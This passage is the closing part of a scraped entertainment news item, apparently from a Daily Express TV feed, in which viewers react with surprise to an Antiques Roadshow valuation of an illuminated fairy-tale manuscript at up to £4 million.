Another gasped: “Ooh, intriguing old illuminated manuscript book is insured for £2m, may be worth £4m. Oof,” which was followed by: “Who, in their right mind, would pay £4 million for a book?!”

A fourth sighed: “four million pounds for a book of fairy tales.” 

Antiques Roadshow continues next Sunday at 8pm on BBC One. 

Let’s block ads! (Why?)

Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/antiques-roadshow-librarian-speechless-after-book-gets-whopping-seven-figure-valuation/feed/ 0